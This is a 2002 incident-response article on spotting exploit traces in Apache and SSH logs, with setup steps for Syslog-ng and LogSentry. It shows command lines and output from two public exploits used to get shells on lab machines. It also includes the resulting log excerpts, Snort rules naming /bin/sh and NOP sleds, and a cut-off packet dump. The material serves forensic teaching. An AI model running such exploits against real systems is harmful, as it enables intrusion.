

Footprints in the Sand: Fingerprinting Exploits in System and Application Log Files

Eric Hines, Alan Neville and Joseph Kelly 2002-10-10

Introduction

Forensic analysts and incident response engineers are armed with a slew of open source and commercial forensic toolsets to attempt to understand and analyze break-ins they did not witness. The most critical component of forensic analysis is system log files. In particular, the analyst must be able to understand and recognize footprints that exploits leave on system logfiles. Identifying these signatures, and their impact on the application within the log files, is the key to understanding what took place during a security incident.

This paper will focus on the identification of the footprints that exploits leave on system logfiles and what they mean, as well as the most common traces that some recent exploits leave. It is hoped that this discussion will help to create a set of methodologies for readers to follow when conducting incident response and forensic analysis, thereby introducing readers to the world of forensic analysis using system and application log files as an evidentiary resource in place of intrusion detection systems.

Log Notification

This section will discuss some tools that provide log notification to the end user. All tools work in conjunction with [Syslog-ng](#) (Syslog Next Generation) and can send log alerts off site via e-mail or other means of communication. With these tools, users can recognise the signatures of exploits from Web applications such as Apache and IIS, which will help develop a footprint that can be used to gain an understanding of the incident. Some of the footprints discussed will include the latest [Apache Chunked Encoding exploit](#) and PHP overflows. This section will also provide a walkthrough for installing some of the more robust end-user logging tools. These tools will help to provide better administration of system logs and critical event notification.

LogSentry

[LogSentry](#) (formerly dubbed Logcheck) was designed to automatically monitor system logs, e-mailing the administrator when security violations occur. The tool is based on a program that is shipped with the TIS Gauntlet firewall; however, it has been improved upon in many ways to

make it work well for end-user systems.

LogSentry provides numerous alert notification options, which are specified by the system administrator. The most common method of notification is e-mail: LogSentry interacts with Sendmail to notify a list of recipients when critical events are logged.

Installing LogSentry

Prior to discussing implementation of the tool, it will be helpful to go over the installation and configuration procedures for LogSentry and how to configure it to work with Syslog-ng. The following example uses a program called [wget](#). You can install wget via the ports collection distributed with FreeBSD by issuing:

```
$ cd /usr/ports/ftp/wget && make
install
```

Alternatively, you can also download it from <ftp://ftp.dl.ac.uk/acc14/ftp-mirror/wget/pub/unix/itul/wget/> in the following manner:

```
$ wget http://www.psionic.com/downloads/logsentry-1.1.1.tar.gz
Resolving www.psionic.com... done.
Connecting to www.psionic.com[24.153.178.99]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 30,267 [application/x-tar]

100%[=====>] 30,267 3.11K/s ETA
00:00
```

```
$ cd /usr/ports/ftp/wget && make
install
```

You will notice you have several files located in the logcheck-1.1.1 directory, all of which are detailed in the Install file. We can now discuss configuring and preparing LogSentry for the purposes of this article. This will cover several main set-ups, which includes editing the Syslog-ng configuration file to enable a more verbose logging capability.

Configuring Syslog-ng: Step One

On most systems, I would recommend that users configure Syslog-ng to send all alert messages to one file for LogSentry to parse through. This configuration ensures that messages will not be missed. To do this we will now start configuring Syslog-ng. This involves editing the `/usr/local/etc/syslog-ng/syslog-ng.conf` file. This file contains various parameters for Syslog-ng. If readers need more information on these parameters, they should check the manual pages of Syslog-ng for more information. (Another good resource for setting up secure remote log servers is Eric Hines' article, [Flying Pigs: Snorting Next Generation Secure Remote Log Servers over TCP.](#))

Create the Syslog-ng configuration file after downloading and installing Syslog-ng. It can be found at <http://www.balabit.hu/en/downloads/syslog-ng/>.

```
#####  
# Create your source          #  
# log device file. This will  #  
# be different for each      #  
# OS type                    #  
#####  
  
source fw {  
    unix-dgram("/dev/  
log");  
    internal();  
};  
  
#####  
# Assign the destination     #  
# (TCP or local file)       #  
#####  
  
destination localhost {  
    file("/var/log/syslog-ng.all");  
};
```

```
#####  
# Tie your SOURCE and DST      #  
#####  
  
log {  
    source(fw); destination(localhost);  
  
};
```

This will log all data to the "syslog-ng.all" file located in /var/log. If you wish, you can just edit the /var/log/syslog-ng.all line to another location of your choice. Remember, this will act as your central logging file for Syslog-ng. Once you have configured your syslog-ng.conf file, restart Syslog-ng by sending the HUP signal to it. This can be done by issuing: `killall "HUP syslog-ng as root`.

Once you have restarted the Syslog-ng server, you must now go to your log directory, and change the log file to owner root, group wheel and mode 600 on file permissions. First check if the file exists; if it doesn't, you should create it.

```
sciaphobia# cd /var/log  
sciaphobia# touch syslog-ng.all  
sciaphobia# chown root.wheel syslog-ng.all  
sciaphobia# chmod 600 syslog-ng.all
```

I would also suggest changing the owner to root, group wheel, and mode 600 to any similar log files. Log files contain very sensitive information, and without proper permissions they may reveal system errors, passwords, and vulnerabilities to unprivileged users.

Tip: BSD users may go to the /etc directory and edit the /etc/daily, /etc/weekly, and /etc/monthly scripts and configure the "rotate()" script function to change log permissions on rotation since they are reset automatically by `cron`. Simply change the line:

```
cp /dev/null "$file"; chmod 644 "$file"
```

to:

```
cp /dev/null "$file"; chmod 600 "$file".
```

Configuring LogSentry, Step Two

This section will discuss how to configure the logtail and logcheck files that are distributed with the LogSentry package. However, before going further, it is necessary to edit logcheck.sh that, by default, is located in the /usr/local/etc directory. Open it up in your favourite text editor and find the line entitled: "Configuration Section".

You will want to change the "Sysadmin" variable to a name of your liking, which can be a local user of the system or an e-mail address if using remote logging. Scroll further down in the logcheck.sh file until you come to a line entitled: "Log File Configuration Section" and uncomment the log files that apply to you. Since we are configuring LogSentry to run with Syslog-ng, we'll want to add the following line under our system type:

```
$ LOGTAIL /var/log/syslog-ng.all $TMPDIR/check.$  
$
```

Once complete, you will want to compile LogSentry for your specific operating system. The syntax for this would be:

```
$ make  
e.g. make linux
```

Once LogSentry has been installed, I would suggest editing the local crontab to run it every hour. You can easily edit this to run more frequently, or less frequently, depending on your preference.

```
# Hourly crontab check:  
00 * * * * root /bin/sh /usr/local/etc/logcheck.sh  
  
# 15 minute crontab check:  
00,15,30,45 * * * * /usr/local/etc/logcheck.sh
```

Note: If you changed the default location of the logcheck files during configuration, you'll

obviously have to edit the above lines to your custom location for the crontab to work correctly.

Upon completion of modifying the crontab, you will want to send it a HUP to restart crond, allowing it to restart and reload its configuration.

To test it out, run the logcheck.sh script by hand and cause several alerts. Something as simple as a bad su works great. Make sure that it's being picked up in the log (/var/log/syslog-ng.all). If you are getting repeat messages when running the logcheck.sh script, something is wrong with the logtail binary. Remember to check the permissions of the logcheck files.

```
Default permissions:
logcheck* -- 600 -- Read/Write for root ONLY.
Owner root. Group Wheel.

logtail* -- 700 -- Read/Write/Execute for root ONLY. Owner root.
Group Wheel.
```

Application Log Analysis (Apache)

We will now begin the attack section of this paper. (Please do not e-mail SecurityFocus or Fate Labs requesting a copy of these exploits.)

Case Study One: Gobbles (apache-nosejob.c)

This attack exploits the "chunking" vulnerability in versions of Apache that fail to properly calculate the required buffer sizes when processing requests coded with the "Chunked Encoding" mechanism (see [SecurityFocus BID:5033](#))

Gobbles Research has released two exploits for this vulnerability (apache-scalp.c and apache-nosejob.c). In this exercise, we will be exploiting an OpenBSD box running a vulnerable version of the Apache Web Server. The only differences between these two exploits are that Apache-scalp only provides target shellcode for the OpenBSD Operating System (3.0, 3.1) and Apache-nosejob targets for FreeBSD, OpenBSD, and NetBSD.

In our exercise we will be using the Apache-nosejob exploit for attacking an OpenBSD 3.1 system running a vulnerable Apache Server v1.3.24. First, let's look at the exploit itself.

```
[loki@pa-iris GOBBLES]$ ./apache-nosejob -h 192.168.0.1:80 -o o
[*] Resolving target host.. 192.168.0.1
[*] Connecting.. connected!
[*] Exploit output is 32322 bytes
[*] Currently using retaddr 0x80000
[*] Currently using retaddr 0x88c00
[*] Currently using retaddr 0x91800
;ppppPPpPPPPp it's a TURKEY: type=OpenBSD, delta=-146,
retaddr=0x93200, repretaddr=6, repzero=36

Experts say this isn't exploitable, so nothing will happen now:
*GOBBLE*
[loki@pa-iris GOBBLES]$ ./apache-nosejob -h 192.168.0.1:80 -o o -c
Own3d!
[*] Resolving target host.. 192.168.0.1
[*] Connecting.. connected!
[*] Exploit output is 32322 bytes
[*] Currently using retaddr 0x80000
[*] Currently using retaddr 0x88c00
[*] Currently using retaddr 0x91800
;ppPPPPPPpPPPPpPPpppPppppPPpppppPPppPPpppPPppppppPpppp it's a
TURKEY:
type=OpenBSD, delta=-146, retaddr=0x98200, repretaddr=6, repzero=36
Experts say this isn't exploitable, so nothing will happen now:
*GOBBLE*
id
uid=32767(nobody) gid=4294967295
ls -al
total 9098
drwxr-xr-x 18 root wheel 512 Aug 8 09:53 .
drwxr-xr-x 18 root wheel 512 Aug 8 09:53 ..
-rw-r--r-- 1 root wheel 810 Apr 28 05:41 .cshrc
-rw-r--r-- 2 root wheel 148 Oct 18 2001 .profile
drwxr-xr-x 2 root wheel 512 Apr 13 17:04 altroot
```

Now, what if we were responding to this attack but we had no idea how the user originally

broke in. Let's go ahead and check the Apache logfile now. (I've talked to several admins who didn't even know where the Apache logfiles were kept. This is critical, as anything and everything that Apache logs is stored in these crucial files. They should be located in \$prefix/logs/. The file we are concerned about right now is /path/to/apache/logs/error_log.)

Readers might ask, "Does this exploit leave any fingerprint at all in the Apache logfiles?" Well, don't expect it to say "you are being hit by the Gobbles Apache Scalp exploit" (grin). Rather, we will need to take a close look at the error messages it generated. I will only be pasting a piece of the complete log as the same following error is repeated for several pages.

```
pa-obsd01# cat error_log
[Sat Aug 31 02:38:15 2002] [notice] Apache/1.3.24 (Unix) configured
--resuming normal operations
[Sat Aug 31 02:38:15 2002] [notice] Accept mutex: flock (Default:
flock)
[Sat Aug 31 02:38:25 2002] [notice] child pid 18709 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:25 2002] [notice] child pid 2755 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:25 2002] [notice] child pid 28354 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:25 2002] [notice] child pid 27110 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:25 2002] [notice] child pid 28888 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:25 2002] [notice] child pid 32142 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:27 2002] [notice] child pid 6740 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:27 2002] [notice] child pid 21507 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:28 2002] [notice] child pid 4969 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:28 2002] [notice] child pid 27417 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:28 2002] [notice] child pid 14010 exit signal
```

```
Segmentation fault (11)
[Sat Aug 31 02:38:28 2002] [notice] child pid 12271 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 16779 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 23834 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 17386 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 12003 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 30402 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 12953 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 30256 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:29 2002] [notice] child pid 2097 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 32632 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 19012 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 7927 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 11282 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 26411 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 14635 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 23530 exit signal
Segmentation fault (11)
[Sat Aug 31 02:38:30 2002] [notice] child pid 2026 exit signal
Segmentation fault (11)
```

Take a look at that. The child processes for Apache kept "Segfaulting" as a result of the exploit.

Shortly thereafter we executed a bad su attempt that, despite what you might think, still shows up in Syslog even though we aren't actually logged into an interactive shell. We are actually logged in through port 80 under Apache, executing commands as the Apache process. See below:

```
SuPassword:changemeyou are not in group  
wheelSorry
```

```
Aug 31 02:47:16 fw@pa-obsd01 su: BAD SU nobody to  
root
```

System Log Analysis (SSHD)

Some time ago a vulnerability was discovered in the CRC32 Compensation Attack Detector within versions of OpenSSH and SSH. Several exploits surfaced from [Teso](http://www.team-teso.net) that exploited this vulnerability. In this section we will provide you several fingerprints that the x3.bin exploit leaves on system log files.

The target (victim) system set-up for this lab was running a vulnerable version of SSH-1.2.27

```
[loki@pa-iris sshd-x3-xpl]$ ./x3 -t1 192.168.0.2  
SSHD deattack exploit. By Dvorak with Code from teso (http://www.  
team-teso.net)  
  
Target: Small - SSH-1.5-1.2.27  
  
Attacking: 192.168.0.2  
Testing if remote sshd is vulnerable # ATTACH NOW  
YES #  
Finding h - buf distance (estimate)  
(1 ) testing 0x00000004 # SEGV #  
(2 ) testing 0x0000c804 # FOUND #  
Found buffer, determining exact diff  
Finding h - buf distance using the teso method  
(3 ) binary-search: h: 0x083fb7fc, slider: 0x00008000 # SEGV #  
(4 ) binary-search: h: 0x083f77fc, slider: 0x00004000 # SURVIVED #  
(5 ) binary-search: h: 0x083f97fc, slider: 0x00002000 # SURVIVED #
```

```
(6 ) binary-search: h: 0x083fa7fc, slider: 0x00001000 # SEGV #
(7 ) binary-search: h: 0x083f9ffc, slider: 0x00000800 # SEGV #
(8 ) binary-search: h: 0x083f9bfc, slider: 0x00000400 # SEGV #
(9 ) binary-search: h: 0x083f99fc, slider: 0x00000200 # SEGV #
(10) binary-search: h: 0x083f98fc, slider: 0x00000100 # SURVIVED #
(11) binary-search: h: 0x083f997c, slider: 0x00000080 # SEGV #
(12) binary-search: h: 0x083f993c, slider: 0x00000040 # SURVIVED #
(13) binary-search: h: 0x083f995c, slider: 0x00000020 # SEGV #
(14) binary-search: h: 0x083f994c, slider: 0x00000010 # SURVIVED #
(15) binary-search: h: 0x083f9954, slider: 0x00000008 # SEGV #
```

Bin search done, testing result

Finding exact h - buf distance

```
(16) trying: 0x083f994c # SURVIVED #
```

Exact match found at: 0x000066b4

Looking for exact buffer address

Finding exact buffer address (17) Trying: 0x080766b4 # SEGV #

```
(18) Trying: 0x080776b4 # SEGV #
(19) Trying: 0x080786b4 # SEGV #
(20) Trying: 0x080796b4 # SEGV #
(21) Trying: 0x0807a6b4 # SEGV #
(22) Trying: 0x0807b6b4 # SEGV #
(23) Trying: 0x0807c6b4 # SEGV #
(24) Trying: 0x0807d6b4 # SEGV #
(25) Trying: 0x0807e6b4 # SEGV #
(26) Trying: 0x0807f6b4 # SEGV #
(27) Trying: 0x080806b4 # SEGV #
(28) Trying: 0x080816b4 # SEGV #
(29) Trying: 0x080826b4 # SEGV #
(30) Trying: 0x080836b4 # SEGV #
(31) Trying: 0x080846b4 # SEGV #
(32) Trying: 0x080856b4 # SEGV #
(33) Trying: 0x080866b4 # SURVIVED #
```

Finding distance till stack buffer

```
(34) Trying: 0xb7f81400 # SEGV #
(35) Trying: 0xb7f81054 # SEGV #
(36) Trying: 0xb7f80ca8 # SEGV #
(37) Trying: 0xb7f808fc # SEGV #
```

```
(38) Trying: 0xb7f80550 # SEGV #
(39) Trying: 0xb7f801a4 # SEGV #
(40) Trying: 0xb7f7fd8 # SEGV #
(41) Trying: 0xb7f7fa4c # SEGV #
(42) Trying: 0xb7f7f6a0 # SEGV #
(43) Trying: 0xb7f7f2f4 # SEGV #
(44) Trying: 0xb7f7ef48 # SEGV #
(45) Trying: 0xb7f7eb9c # SEGV #
(46) Trying: 0xb7f7e7f0 # SEGV #
(47) Trying: 0xb7f7e444 # SEGV #
(48) Trying: 0xb7f7e098 # SEGV #
(49) Trying: 0xb7f7dcec # SEGV #
(50) Trying: 0xb7f7d940 # SEGV #
(51) Trying: 0xb7f7d594 # SEGV #
(52) Trying: 0xb7f7d1e8 # SEGV #
(53) Trying: 0xb7f7ce3c # SEGV #
(54) Trying: 0xb7f7ca90 # SEGV #
(55) Trying: 0xb7f7c6e4 # SURVIVED # verifying
(56) Trying: 0xb7f7c6e4 # SEGV # OK
Finding exact h - stack_buf distance
(57) trying: 0xb7f7c4e4 slider: 0x0200# SURVIVED #
(58) trying: 0xb7f7c3e4 slider: 0x0100# SEGV #
(59) trying: 0xb7f7c464 slider: 0x0080# SURVIVED #
(60) trying: 0xb7f7c424 slider: 0x0040# SURVIVED #
(61) trying: 0xb7f7c404 slider: 0x0020# SURVIVED #
(62) trying: 0xb7f7c3f4 slider: 0x0010# SEGV #
(63) trying: 0xb7f7c3fc slider: 0x0008# SEGV #
(64) trying: 0xb7f7c400 slider: 0x0004# SEGV #
(65) trying: 0xb7f7c402 slider: 0x0002# SEGV #
Final stack_dist: 0xb7f7c404
EX: buf: 0x080836b4 h: 0x0807d000 ret-dist: 0xb7f7c38a
ATTACH NOW
Changing MSW of return address to: 0x0808
Crash, finding next return address
Changing MSW of return address to: 0x0809
Crash, finding next return address
EX: buf: 0x080836b4 h: 0x0807d000 ret-dist: 0xb7f7c386
```

ATTACH NOW

Changing MSW of return address to: 0x0808

Crash, finding next return address

Changing MSW of return address to: 0x0809

Crash, finding next return address

EX: buf: 0x080836b4 h: 0x0807d000 ret-dist: 0xb7f7c38e

ATTACH NOW

Changing MSW of return address to: 0x0808

Crash, finding next return address

Changing MSW of return address to: 0x0809

No Crash, might have worked

Reply from remote: CHRIS CHRIS

***** YOU ARE IN *****

192.168.0.2

Linux fatelabs.net 2.4.9-34 #1 Sat Jun 1 06:23:33 EDT 2002 i586

unknown

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4
(adm),6(disk),10(wheel)

ls

bin

boot

dev

etc

home

initrd

lib

lost+found

misc

mnt

opt

proc

root

sbin

tmp

usr

var

```
ls -al
total 160
drwxr-xr-x 19 root root 4096 Aug 24 21:04 .
drwxr-xr-x 19 root root 4096 Aug 24 21:04 ..
drwxr-xr-x  2 root root 4096 Aug 24 21:26 bin
drwxr-xr-x  2 root root 4096 Aug 24 22:18 boot
```

This was the attack launched against the vulnerable system. We will now take a look at what showed up in our Syslog-ng logfile. After reading this section, we invite you to read a very well written writeup on this vulnerability by [David Dittrich](#) after a machine was compromised on the University of Washington network. To read the CERT advisory on this vulnerability, refer to <http://www.kb.cert.org/vuls/id/945216>

```
Aug 28 16:59:20 research@fatelabs.net sshd[29178]: log: Connection
from
192.168.0.1port 56215
Aug 28 16:59:28 research@fatelabs.net sshd[29179]: log: Connection
from
192.168.0.1port 59150
Aug 28 16:59:35 research@fatelabs.net sshd[29180]: log: Connection
from
192.168.0.1port 51777
Aug 28 16:59:42 research@fatelabs.net sshd[29180]: fatal: Local:
Corrupted
check bytes on input.
Aug 28 16:59:42 research@fatelabs.net sshd[29181]: log: Connection
from
192.168.0.1port 53554
Aug 28 16:59:49 research@fatelabs.net sshd[29182]: log: Connection
from
192.168.0.1port 63955
Aug 28 16:59:55 research@fatelabs.net sshd[29182]: fatal: Local:
Corrupted
check bytes on input.
Aug 28 16:59:55 research@fatelabs.net sshd[29184]: log: Connection
from
192.168.0.1port 57141
```

```
Aug 28 17:00:02 research@fatelabs.net sshd[29184]: fatal: Local:
Corrupted
check bytes on input.
Aug 28 17:00:02 research@fatelabs.net sshd[29185]: log: Connection
from
192.168.0.1port 54562
Aug 28 17:00:11 research@fatelabs.net sshd[29186]: log: Connection
from
192.168.0.1port 52892
Aug 28 17:00:17 research@fatelabs.net sshd[29187]: log: Connection
from
192.168.0.1port 51656
Aug 28 17:00:24 research@fatelabs.net sshd[29188]: log: Connection
from
192.168.0.1port 56346
Aug 28 17:00:31 research@fatelabs.net sshd[29189]: log: Connection
from
192.168.0.1port 55799
Aug 28 17:00:38 research@fatelabs.net sshd[29189]: fatal: Local:
Corrupted
check bytes on input.
Aug 28 17:00:39 research@fatelabs.net sshd[29190]: log: Connection
from
192.168.0.1port 60690
Aug 28 17:00:46 research@fatelabs.net sshd[29191]: log: Connection
from
192.168.0.1port 62887
Aug 28 17:00:59 research@fatelabs.net sshd[29191]: fatal: Local:
Corrupted
check bytes on input.
Aug 28 17:01:01 research@fatelabs.net sshd[29192]: log: Connection
from
192.168.0.1port 62835
Aug 28 17:01:10 research@fatelabs.net sshd[29193]: log: Connection
from
192.168.0.1port 61933
Aug 28 17:01:17 research@fatelabs.net sshd[29193]: fatal: Local:
```

Corrupted

check bytes on input.

Aug 28 17:01:17 research@fatelabs.net sshd[29194]: log: Connection from

192.168.0.1port 57821

Aug 28 17:01:28 research@fatelabs.net sshd[29195]: log: Connection from

192.168.0.1port 64229

Aug 28 17:01:43 research@fatelabs.net sshd[29195]: fatal: Local:

Corrupted

check bytes on input.

Aug 28 17:01:43 research@fatelabs.net sshd[29196]: log: Connection from

192.168.0.1port 56214

Aug 28 17:01:50 research@fatelabs.net sshd[29197]: log: Connection from

192.168.0.1port 51820

Aug 28 17:01:56 research@fatelabs.net sshd[29198]: log: Connection from

192.168.0.1port 58898

Aug 28 17:02:03 research@fatelabs.net sshd[29199]: log: Connection from

192.168.0.1port 56122

Aug 28 17:02:10 research@fatelabs.net sshd[29200]: log: Connection from

192.168.0.1port 60827

Aug 28 17:02:16 research@fatelabs.net sshd[29201]: log: Connection from

192.168.0.1port 57259

Aug 28 17:02:23 research@fatelabs.net sshd[29202]: log: Connection from

192.168.0.1port 57454

Aug 28 17:02:30 research@fatelabs.net sshd[29203]: log: Connection from

192.168.0.1port 55942

Aug 28 17:02:36 research@fatelabs.net sshd[29204]: log: Connection from

```
192.168.0.1port 59009
Aug 28 17:02:43 research@fatelabs.net sshd[29205]: log: Connection
from
192.168.0.1port 64371
Aug 28 17:02:51 research@fatelabs.net sshd[29206]: log: Connection
from
192.168.0.1port 65325
Aug 28 17:02:58 research@fatelabs.net sshd[29207]: log: Connection
from
192.168.0.1port 51174
Aug 28 17:03:05 research@fatelabs.net sshd[29208]: log: Connection
from
192.168.0.1port 50036
Aug 28 17:03:11 research@fatelabs.net sshd[29209]: log: Connection
from
192.168.0.1port 59576
Aug 28 17:03:18 research@fatelabs.net sshd[29210]: log: Connection
from
192.168.0.1port 52679
Aug 28 17:03:25 research@fatelabs.net sshd[29211]: log: Connection
from
192.168.0.1port 57647
Aug 28 17:03:31 research@fatelabs.net sshd[29212]: log: Connection
from
192.168.0.1port 62787
Aug 28 17:03:38 research@fatelabs.net sshd[29212]: fatal: Local:
crc32
compensation attack: network attack detected
```

What do you notice about these logs? What sticks out shouldn't occur in any other circumstance unless an attack was taking place? The first thing is clearly that message from the SSHD process itself (fatal: Local: crc32 compensation attack: network attack detected) is warning that it is under some form of CRC32 attack. This compensation attack detector is exactly the vulnerability the exploit targets.

Another notable fingerprint this exploit leaves is the multiple connection attempts from the same IP address multiple times within 6-7 seconds apart. The presence of hundreds of

connection attempts would likely indicate an automated script rather than someone who forgot their password. Another major fingerprint would be the "corrupted check bytes on input" error in the log file. This is the only time I've ever seen this error from SSH.

---- snip / from David Dittrich's research paper ----

The following signatures were developed by Marty Roesch and Brian Caswell, for use with Snort v1.8 or higher [6].

=====

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \  
(msg:"EXPLOIT ssh CRC32 overflow /bin/sh"; \  
flags:A+; content:"/bin/sh"; \  
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \  
classtype:shellcode-detect;)
```

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \  
(msg:"EXPLOIT ssh CRC32 overflow filler"; \  
flags:A+; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; \  
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \  
classtype:shellcode-detect;)
```

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \  
(msg:"EXPLOIT ssh CRC32 overflow NOOP"; \  
flags:A+; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; \  
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \  
classtype:shellcode-detect;)
```

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \  
(msg:"EXPLOIT ssh CRC32 overflow"; \  
flags:A+; content:"|00 01 57 00 00 00 18|"; offset:0; depth:7; \  
content:"|FF FF FF FF 00 00|"; offset:8; depth:14; \  
reference:bugtraq,2347; reference:cve,CVE-2001-0144; \  
classtype:shellcode-detect;)
```

=====

The following is a [Snort](#) packetdump of the last packet from the attack. The complete packet

dump from the attack can be utilized for making additional IDS signatures and can be downloaded from the [Log Forensics Team](#) page at the Fate Labs Web site.

```
=====  
=====  
[**] Fate Labs Research - SSH TESTS [**]  
08/28-17:13:14.731740 0:0:77:95:5C:B2 -> 0:48:54:6D:FB:CC type:0x800  
len:0x456  
64.129.236.193:55450 -> 24.42.198.82:22 TCP TTL:48 TOS:0x0 ID:38244  
IpLen:20  
DgmLen:1096 DF  
***AP*** Seq: 0x7F494DD0 Ack: 0xF4E81DC0 Win: 0x1920 TcpLen: 32  
TCP Options (3) => NOP NOP TS: 85218943 32607779  
0x0000: 00 48 54 6D FB CC 00 00 77 95 5C B2 08 00 45 00 .HTm....w.  
\...E.  
0x0010: 04 48 95 64 40 00 30 06 A5 8C 40 81 EC C1 18 2A .H.d@.0...  
@....*  
0x0020: C6 52 D8 9A 00 16 7F 49 4D D0 F4 E8 1D C0 80 18 .R.....  
IM.....  
0x0030: 19 20 7C 01 00 00 01 01 08 0A 05 14 56 7F 01 F1 . |.....  
V...  
0x0040: 8E 23 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .  
#.....  
0x0050: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
90 .....  
0x0060: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
90 .....  
0x0070: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
90 .....  
0x0080: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
90 .....  
0x0090: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
90 .....  
0x00A0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
90 .....  
0x00B0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
90 .....
```

```
0x00C0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x00D0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x00E0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x00F0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x02A0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x02B0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x02C0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x02D0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x02E0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x02F0: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x0300: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x0310: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x0320: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x0330: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x0340: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x0350: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x0360: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x0370: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 .....
0x0380: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
```


we had to put together our own signatures for it until Snort signatures were made available. We were only able to see this attack being used because we closely monitor our Apache logfiles.

Multiple open source tools that make log notification and central logging possible are currently available for end-users. We recommend that security administrators replace Syslog with Syslog-ng, as well as installing a log notification tool such as Logsentry to have critical events e-mailed to them. Another good idea would be to set up a secure central logging server for storing logs off-site. This is critical when a system becomes compromised, as all logs on that system can no longer be trusted.

Finally, since making the network unassailable is impossible, the only other option we have is to get it as close as we can. True security isn't achieved with expensive firewall appliances, VPNs, or even intrusion detection systems, it's achieved through monitoring log files, watching for the attacks that intrusion detection systems may have missed. As security solutions become more refined, so will the tools and methods of the Blackhat hacker. This can be demonstrated through tools such as ADMmutate and IDS evasion methods such as fragmentation attacks. If all security administrators only monitor IDS logs, they are leaving themselves vulnerable to attacks that may go undetected.

[Eric Hines](#) has worked in the Information Security Industry for over 10 years. He has been an advisor to the Federal Bureau of Investigation/NIPC, and state Police Departments and used as an expert witness in the conviction of hackers. He has also been a speaker at Blackhat Briefings, Defcon, Homeland Defense Symposiums and has presented to the Technology Insertion Panel for the Defense Information Systems Agency (DISA).

[Alan Neville](#) has been involved in information security for the past three years. Director of Fate Research Labs, Europe, Alan heads all European operations as well as manages the Ireland honeynet for Fate Research Labs in Dublin. Alan has authored several whitepapers on securing Linux, configuring firewalls, and is also author of the recent advisory on Nullsoft SHOUTcast.

Relevant Links

[Fate Research Labs](#)

[Ireland Security Information Center \(ISIC Labs\)](#)

[Honeynet Project](#)

[Snort Intrusion Detection System](#)

[SentryInformation.com](#)

[LogSentry](#)

[Syslog-ng](#)

[Privacy Statement](#)

Copyright 2006, SecurityFocus